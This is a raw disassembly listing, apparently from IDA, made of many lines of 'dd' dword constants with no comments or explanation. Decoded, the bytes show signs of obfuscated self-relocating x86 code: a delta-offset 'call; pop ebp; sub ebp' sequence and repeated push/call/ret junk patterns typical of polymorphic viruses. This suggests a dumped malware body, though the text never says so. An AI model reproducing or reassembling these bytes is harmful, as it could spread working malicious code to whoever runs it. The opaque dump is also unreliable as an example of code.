		dd 1B042444h, 45000000h, 91F4C355h, 0A285C76Eh,	8D89A677h
		dd 6443211h, 0CA18D8Dh
		dd 1C70644h, 0
		dd 995B58Bh, 41C70644h,	4, 3DB53300h, 0B06442Ch, 57840FC0h
		dd 8B000000h, 558D8DFEh, 3106444Eh, 44284985h, 0FA8B6606h
		dd 5B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0F18B2070h, 6AE1FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8E9E2BC3h
		dd 8D8D3801h, 6440CA1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 4AC35040h, 0B52963AAh, 6440AB1h, 727C01C7h
		dd 0E96044AAh, 0Bh, 6405607Ch, 0BFC105D7h, 0E8AB73E3h
		dd 11h,	0CFAA8EF9h, 0A1FEBB7Ch,	8F80FACEh, 0FABE6B5Dh
		dd 918D0B10h, 5F064407h, 0CB018161h, 811499CFh,	6DF5CAE6h
		dd 441C74Fh, 0CE78753Ch, 44181FCh, 31D6D710h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B4C35040h, 69B703ECh
		dd 0A69D586Fh, 0ADB5032Dh, 6A06441Eh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 6E05E202h, 0FC26F33h, 8DF8FEB7h, 440CA185h, 81BD8906h
		dd 66064425h, 5530C681h, 0BE850h, 26780000h, 1BB755ECh
		dd 0AA0B8CA9h, 5FFA8B5Ah, 66240489h, 95FFF38Bh,	6442D61h
		dd 0CA18D8Dh, 53560644h, 0AE9h,	8F12EC00h, 0E83CC75Fh
		dd 5EC2CC59h, 1C75Fh, 51000000h, 41C75FF9h, 4, 8D0F00h
		dd 0F000000h, 1988h, 5E800h, 0B0640000h, 0E98E3ABAh, 9
		dd 0BB31CF4h, 0D3149023h, 0C00B5EAFh, 7E840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8B561BC3h, 443109B5h, 0BD8B5E06h, 6442A85h, 4E558D8Dh
		dd 0BF660644h, 5B8CF37h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E9B3C356h
		dd 10h,	0EF00C301h, 0CDE99386h,	3EC897A0h, 962F76EAh, 0DE9E1FFh
		dd 4000000h, 0AAE7E91Dh, 1F6016DEh, 0F82598F6h,	0CA18D8Dh
		dd 0BF0F0644h, 0A501C7F1h, 6A54CA95h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 816DC350h
		dd 99CFCB01h, 0F6B70F14h, 690441C7h, 89CE5F59h,	442A699Dh
		dd 4418106h, 31D6D710h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 66C35141h, 12372D5Ch,	0E92B6658h, 7
		dd 0EE410557h, 603FA0A5h, 28A0Fh, 5B510000h, 8EDBD89h
		dd 6A610644h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0F705C581h, 59BF37B0h, 5E9h, 0A99ABA00h
		dd 0BD8B6CEDh, 6440DDDh, 0CA1858Dh, 6A0644h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 441FBC3h
		dd 6E9h, 62AA0300h, 0E94EF5CEh,	5, 7628EDEDh, 0F08B909Dh
		dd 8B666050h, 800F52D1h, 0
aYarj		db 'Ya░j',0
		db 55h,	0E8h, 3
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 7ABAC355h, 6195FFE5h, 6A06442Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 1993C352h
		dd 0F9C20CFCh, 31759529h, 8D8D0644h, 6440CA1h, 0DC3AC2BFh
		dd 0D858968h, 0C7064408h, 1, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0C38C6107h
		dd 0A32B775Dh, 0B5035BA6h, 6442461h, 9B19589h, 41C70644h
		dd 4, 6850F00h,	0F000000h, 8Dh,	0FC00B00h, 7484h, 8C0F00h
		dd 8D000000h, 444E558Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 15BDD2D4h, 0BE3C3D15h
		dd 8BFC6045h, 44313595h, 0B5336106h, 6442545h, 5B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 1EBF4678h, 0FF8BC9A4h, 0E5BD8BE1h, 8906442Fh, 4402E5B5h
		dd 0E9CA0306h, 0FFFFF1E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0EC35545h, 153110CFh,	5D933AF1h, 8BF1B70Fh
		dd 0F68166C1h, 4EB0165h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D2C35141h
		dd 6CA49333h, 0B58B6E01h, 6442C6Dh, 1BE1858Dh, 6A0644h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 7A9A75C3h, 8BB940C5h, 441D11B5h, 8E85006h, 65000000h
		dd 2DBBE1DAh, 8BFDF02Ch, 4895EF2h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 1125E359h
		dd 12E82343h, 1F000000h, 9D52C21Dh, 0A31798A8h,	396DE772h
		dd 887CCE4Bh, 0F38B6672h, 6A006A5Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 29AAC355h
		dd 0F2B70F8Ch, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 44C63EC3h, 858DC0CAh, 647E85Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B1C35141h
		dd 0C0831D4Ah, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 1A41F9F9h, 0F0F2ED7Fh
		dd 12E99B03h, 0B5000000h, 5B676743h, 8EAA7786h,	0B1EFC155h
		dd 895680EBh, 820F908Dh, 1Bh, 15800Fh, 0FE80000h, 0A1000000h
		dd 0B46EAC22h, 8D905287h, 9B4B14C8h, 505EA2C3h,	0A1BE6652h
		dd 6A905E24h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9656C351h, 27AF56FEh, 2123AA8Ah
		dd 6AF28Bh, 74F68166h, 0F1BF0F2Ch, 10E8006Ah, 0B000000h
		dd 0CEB9772Bh, 0B8A365C2h, 433DD254h, 6656AAAFh, 5EF77EBEh
		dd 182595FFh, 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 9608F9C3h, 0BE667928h, 9D8DA225h
		dd 6479A97h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	75C35343h, 0B126B7CAh, 6C31BE9Ch, 0D3FF3B46h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 37C35242h, 0C4A2A052h
		dd 0D9B2E4A0h, 0A97BE40h, 7E97AC0h, 4C000000h, 735510F3h
		dd 85FF8075h, 64408E9h,	6830Fh,	0B50B0000h, 6442A1Dh, 0A89E9h
		dd 0E800h, 815D0000h, 47E864EDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 54577B0Ah
		dd 359D8960h, 8B06441Ah, 44250995h, 0BD816106h,	644167Dh
		dd 7D0h, 18B860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 9D8BC0C3h, 6441781h
		dd 2611B58Bh, 0E3810644h, 100h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 91C35040h, 47C250B9h, 66B5A0FBh
		dd 0DB0BF38Bh, 0B0850Fh, 0BD830000h, 647E5F2h, 3D840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 4D65C355h, 858952B3h, 64407CDh
		dd 15B58B5Eh, 0E9064414h, 9Fh, 1F299501h, 0B5330644h, 6440939h
		dd 0E5F285C7h, 10647h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0AD707EC3h, 0D003135h
		dd 0DE92707h, 3A000000h, 0A89E7D14h, 7459C083h,	5732F830h
		dd 4EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BE665FD0h, 85C773A6h, 647E5F2h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 97C35040h
		dd 118589EDh, 8D06440Ch, 4417819Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B70F8F11h
		dd 0D865BEF2h, 238137A0h, 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0DC35242h, 1E419516h, 0DB8C6636h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E5C35141h
		dd 0BD7C795Dh, 9E39DEFh, 4C3F686h, 55840Fh, 0B5330000h
		dd 64417B1h, 1C8195FFh,	6A0644h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 1CC06C3h, 8B501ACEh
		dd 240489F3h, 0FE8h, 0BB5B6A00h, 6A9907CFh, 0A4A9C338h
		dd 8B7C3F52h, 8E0F60h, 8B000000h, 440D2195h, 0E95E6106h
		dd 45Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	75C35747h, 0B06EBDh, 6A70E6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58BBBC3h
		dd 64413ADh, 0BE6671E4h, 0B60FDD14h, 0CE8D8h, 666A0000h
		dd 0ECE94015h, 0B0A8A5E6h, 0BA5E51BEh, 6, 0B58BF78Bh, 6440975h
		dd 0AE8C38Bh, 18000000h, 0E7820138h, 0DB99C63Dh, 0E8C15EF1h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 29904882h, 4421299Dh, 8E0F06h, 66000000h
		dd 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0D82B91C3h, 93F38B66h, 66525050h,	0FB548BEh
		dd 5A5E5231h, 6A9358h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0EE29ACC3h, 8B2A32FDh, 441AF5B5h
		dd 7DB5FF06h, 0E9064416h, 6, 4055B70Fh,	89563A29h, 4409D595h
		dd 95FF5E06h, 6441C4Dh,	0AE8h, 0B334EB00h, 64AF9D83h, 5EE9DBF1h
		dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 1F0093C3h, 25B58B56h, 0E6064407h,	50006A70h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9D89CF25h, 6440D6Dh,	0B58B71E4h, 6441489h, 830F613Ch
		dd 2CFh, 0D5B0BE66h, 6AD8B60Fh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 3E22C355h, 7FD12C9Ch
		dd 86C68166h, 0BDBD89C8h, 0BA06440Fh, 6, 0DE9h,	9669DC00h
		dd 0F4B9FD9Fh, 897A56E3h, 0C38BDA19h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0ECC35747h,	0F9858956h, 0C1064429h
		dd 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0F4E3B2C3h, 37FCAA9Dh, 0F860DEEBh, 1EB58589h
		dd 66610644h, 9722CE81h, 6AE2F766h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 1896C355h
		dd 2B163B93h, 6A58D8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 81CE76C3h, 831CE48Ah, 0FDBC9D4h
		dd 0D82BF3B7h, 1D5880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0F483FCC3h, 4C44F0FDh
		dd 1611BD01h, 7B90644h,	0F000000h, 0C183F0B7h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0FF21241h, 9659589h,	0D93B0644h, 175860Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0B167FDC3h, 75D18293h, 66020FB6h, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 212B4DC3h
		dd 14E8A7h, 0E470000h, 0C576C0FAh, 80629C74h, 74549A67h
		dd 0E496CC4Dh, 8B0FF858h, 2, 0F65E5E50h, 840F04C1h, 0D8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 89C35040h
		dd 95FFDBC1h, 6441C81h,	2AA5B589h, 6A5B0644h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 3DF8C357h, 0EBAFEA61h, 6570A636h, 13ADB58Bh,	0C32B0644h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3C35646h
		dd 33920B34h, 0E9885CD3h, 0Bh, 6F61A8BCh, 2AA481E0h, 0F2BB22Eh
		dd 888h, 0BD315700h, 644193Dh, 8343D5Eh, 860F0000h, 34h
		dd 0B3EBE66h, 56E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0AEC1328Ah, 0D25BA30Eh
		dd 0B5238ECAh, 6440CDDh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 9A0B1CC3h, 0B0CFAE30h
		dd 0F53A37Fh, 8B5EF2BFh, 29D88BC3h, 440E21BDh, 2585C706h
		dd 7706441Fh, 6A113F89h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 9BBBC355h, 41669E13h
		dd 0B4C6AEC9h, 8BF38B66h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 68618B02h
		dd 0D1A0F775h, 6830Fh, 820F0000h, 0
		dd 5EF08B52h, 167DBD81h, 7D00644h, 850F0000h, 2Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3EC35242h, 66120E2Fh
		dd 1542F681h, 167D85FFh, 8B660644h, 7DB5FFF1h, 6A064416h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 1CAEC351h, 67E2844Dh, 0BEBE3DACh,	890FA3EFh
		dd 442FC9BDh, 4D95FF06h, 8906441Ch, 44148185h, 0D88B9006h
		dd 29F1B58Bh, 0BD830644h, 6442381h, 34840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0FACAC352h, 90CF8E44h, 0BEDF98E0h, 496B57C4h
		dd 273E9h, 0E9B58B00h, 8C064430h, 51006ADFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0DD55F2B0h
		dd 0AC225BAh, 0F0BF0FA8h, 4C7F766h, 39850F00h, 81000002h
		dd 0E77736C6h, 81FF2B78h, 0F65B5FDEh, 789D8D1Dh, 6A0647F2h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0C225C356h, 0DC4FA80Ah, 12E8D6h, 0DA610000h
		dd 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh, 0CEB7629Dh, 2DFDB58Bh
		dd 0F85E0644h, 6E85693h, 98000000h, 563420D6h, 5E5E50D5h
		dd 0BE66505Eh, 6693F3D0h, 640FDCBEh, 35FFh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0BEF60DC3h, 4AB7C5Fh, 0FE906h, 35900000h, 0E92941C6h
		dd 661E310Bh, 91AE9AC1h, 258964C0h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 6C35545h
		dd 8B22A919h, 56006AC4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 1DF46368h, 455DD9D9h, 1CD0967h, 6A00EBh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 6AD66AC3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 7499C356h, 72635F0h, 8F64C276h
		dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0F70B07Ah, 5C080F9Ch, 4C483F8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 61C35040h, 0A8371362h
		dd 0E1DF7B52h, 0FC00B46h, 9F84h, 0B58B5700h, 6441C61h
		dd 55BD8D5Eh, 6A06444Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0E162C352h,	5B8h, 6C19BE00h
		dd 0E7FF4DD6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	3EC35343h, 8B57F4B0h, 8B10245Ch, 0B883h, 40B60F00h
		dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
		dd 1F09B58Bh, 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 9D89E6C3h, 64407A1h, 96E9CA2Bh
		dd 6AFFFFF5h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 3362C357h, 0C18B7823h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FDC35747h, 0A6190D2Ah
		dd 0DDBEF28Bh, 0EB6A3964h, 4, 5F505100h, 50006A5Eh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0B58B6018h, 6440C4Dh, 14E8h,	0BD05CB00h, 0CC7F33FEh
		dd 9FA65F28h, 74C8ED8Dh, 0E7D5C551h, 5EF98B86h,	398D8961h
		dd 8D06442Ch, 441BE185h, 0B58B5606h, 6441E31h, 0E960505Eh
		dd 7, 66577F7h,	0E94B88BBh, 12h, 75EB8474h, 36177588h
		dd 0F8A0882Ah, 0E3EBAA02h, 8961CDFFh, 6A2404h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B7DF61C3h, 6E9BD25h, 61000000h, 49258B26h, 0A1950159h
		dd 6A064431h, 12E900h, 18F70000h, 748CE43Ah, 86703185h
		dd 0CB2ACB0Eh, 0D1D015B6h, 858D006Ah, 647F4EEh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 6AC35747h, 33A2E91Eh
		dd 0F5B533E3h, 8306441Dh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 9C19F3C3h, 70BDCFD1h
		dd 0F5BD2952h, 8906441Dh, 440C3185h, 198B0F06h,	0E9000000h
		dd 14h,	26D11511h, 47671FBh, 1D713063h,	0C9C53D34h, 0B7DE6D0Ah
		dd 0F525050h, 1387h, 0EE900h, 2550000h,	0C7F25A25h, 5CD5F819h
		dd 43F15CEAh, 0F18B310Fh, 489585Ah, 0DF816624h,	6A3813h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h
		dd 0B58BDAC5h, 644158Dh, 1F99B503h, 6A0644h, 2445B531h
		dd 95FF0644h, 6441825h,	2339B589h, 9D8D0644h, 6479A97h
		dd 0BD23D3FFh, 6443135h, 8E985FFh, 0F510644h, 687h, 0C19D8900h
		dd 5E06441Ch, 8C2E9h, 0E800h, 815D0000h, 47F4F8EDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD038D78h, 644259Dh, 23E9BD29h, 0BD810644h,	644167Dh
		dd 7D0h, 103860Fh, 8D890000h, 6443011h,	28C19D8Bh, 0E3810644h
		dd 100h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0DFC35747h, 0B265CF1h, 7C850FDBh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 60DDC350h, 134A875Ch, 0AAAA7B5Fh, 2C4DB589h,	0BD830644h
		dd 647F313h, 0B840F00h,	0E9000000h, 75h, 88A7D781h, 85C75D83h
		dd 647F313h, 1,	2151BD31h, 5AE90644h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 17F7C355h, 83F80788h, 0C76EC510h, 47F31385h,	6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 25AA1C3Dh, 0A415E232h, 0B58B867Eh, 6442A61h,	0C19D8DF5h
		dd 89064428h, 44229D9Dh, 0FF238106h, 89FFFFFEh,	4419799Dh
		dd 0DB8C6606h, 0F04C3F6h, 5584h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0A6FBFD41h
		dd 0FFC37D23h, 441C8195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 9F20C8Ch, 440A7D8Dh
		dd 4895006h, 0CF816624h, 0D4E903DDh, 0F000004h,	685h, 0C98D2900h
		dd 0B0064417h, 6A70E600h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 51BCC355h, 0EE9803Dh
		dd 0E9000000h, 0B326999Bh, 595BC075h, 12A8F78Dh, 971E413h
		dd 44227DBDh, 0D8B60F06h, 0A9BD8B60h, 8B06442Bh, 44194985h
		dd 6BA6106h, 66000000h,	8BD365BFh, 53006AC3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 333FEFEFh
		dd 0E03DF16Eh, 8BF1BF0Fh, 441DC1BDh, 4E8C106h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 90C35040h, 1527E025h
		dd 18418D09h, 0F7660644h, 53006AE2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0F2BF0FA7h
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E8BC03C3h, 14h, 6D09E8CCh, 852AF1Bh, 0BCFB43A9h
		dd 0E88280Fh, 24635815h, 6660935Eh, 0E860CB8Bh,	10h, 0A5142279h
		dd 82102AAEh, 9F3672A0h, 4AB9BB5Dh, 615F565Eh, 50605061h
		dd 0F616052h, 0E6F7BE31h, 585A0237h, 5E8h, 0D4A7C200h
		dd 8B66F91Dh, 936158D8h, 19DD8D89h, 0B5FF0644h,	644167Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0EBC35343h
		dd 5DD5DB7Dh, 9DD427E9h, 4D95FFF9h, 8906441Ch, 442D35BDh
		dd 6A00B006h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 2F2EC356h, 875B58Bh, 70E60644h
		dd 0A860Fh, 890F0000h, 4, 6854BF66h, 816671E4h,	31B732C7h
		dd 440FC185h, 0F613C06h, 2F683h, 0D8B60F00h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0EEC35343h, 0E950ABE8h
		dd 6, 84AFBDBCh, 8B5E12C4h, 442CF9B5h, 6BA06h, 12E80000h
		dd 0C0000000h, 496F0043h, 0DD7A4203h, 0EBECFC79h, 2170223Dh
		dd 0D68151BEh, 2DAECDBh, 0C38B5F5Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 68C35141h, 4E8C193h, 66F28B66h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0A880FDC3h, 9EBFFC05h, 2B3157FAh,	56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h
		dd 0C3564600h, 68151E3Eh, 5E8E9h, 0D5A80000h, 0E9A2C50Ch
		dd 10h,	4BF17428h, 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 1BD895Eh
		dd 5806440Eh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	61C35545h, 0B4A57A7Ah, 0A88248D4h, 0FD82BF7h, 1DA88h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 8DC33C50h, 12E9F149h, 0CE000000h, 8B659A4Eh
		dd 0BDD19AD2h, 0ACFEACD2h, 6D16D5AAh, 5E932h, 64050000h
		dd 0B9C105D7h, 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	97C35141h, 0DE109660h, 2B1F6BFCh, 0D21B533h, 0C1830644h
		dd 39DE8100h, 3B58BF63h, 58860FD9h, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0C451C355h, 0E1152109h, 0A0C8599Ch, 0D7CE8151h, 5E73F796h
		dd 0BED98C66h, 11CD439Ch, 0F04C1F6h, 0F584h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 99A394FEh, 21AC0BDEh, 6800F62h, 89000000h, 442AA58Dh
		dd 29858906h, 8B06440Bh, 8195FFF3h, 8B06441Ch, 44143DB5h
		dd 0BD035606h, 6440419h, 6A5B5Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 665144C3h, 5E5F2DBFh
		dd 0C70ABE66h, 6AC32Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0EE47BFC3h, 23C7B193h, 4425C5B5h
		dd 8343D06h, 860F0000h,	4Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 9C35141h, 34F7B93Eh, 5C8A42Fh
		dd 9D8D89DCh, 0E9064409h, 43h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 4AC35343h, 0C08BF879h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0ADC35040h, 6649B4C8h
		dd 8B5B63BFh, 8BD88BC3h, 441555B5h, 9B58B06h, 0C706442Eh
		dd 44178185h, 30391706h, 0F7BF0F5Ah, 68A0Fh, 0B58B0000h
		dd 6441975h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 5B2043C3h, 5E99279h, 0E6000000h
		dd 1E39A6A1h, 167DBD81h, 7D00644h, 850F0000h, 4Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 10C35545h, 0CF753007h
		dd 0FF95C511h, 44167D85h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 89406E00h
		dd 4419EDB5h, 7DB5FF06h, 6A064416h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 2FFEC356h
		dd 0ACB2E94Eh, 10E9525Eh, 3C000000h, 7BD98F3Ch,	0A1D7905Ch
		dd 82008065h, 0FF9AA630h, 441C4D95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E985094Bh
		dd 90064430h, 12E8h, 0CF5E9300h, 0BE071E60h, 67B9CEFEh
		dd 0E697DECDh, 0E823362Eh, 0Ah,	7F819D15h, 9543C30Ah, 5E572C4Ch
		dd 1525FF5h, 441055BDh,	6A5E5F06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8C9DC352h
		dd 6A87FA5Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0D102C355h, 9D9D8952h,	5F064420h
		dd 8CDE8166h, 56006ACCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0FEBAACAEh, 0CD804892h, 60C68166h
		dd 56006ADEh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0A9B58B7Ch, 3306442Ch, 4402F9B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 7D7CB9B5h, 0FDBB360h, 586h, 0FB8B6600h, 0FC61C18Bh
		dd 0F810Fh, 840F0000h, 3, 81FA8B66h, 0CF8082E7h, 0F74FE970h
		dd 8166FFFFh, 29774FE6h, 4421699Dh, 0B18D0106h,	8B06442Ch
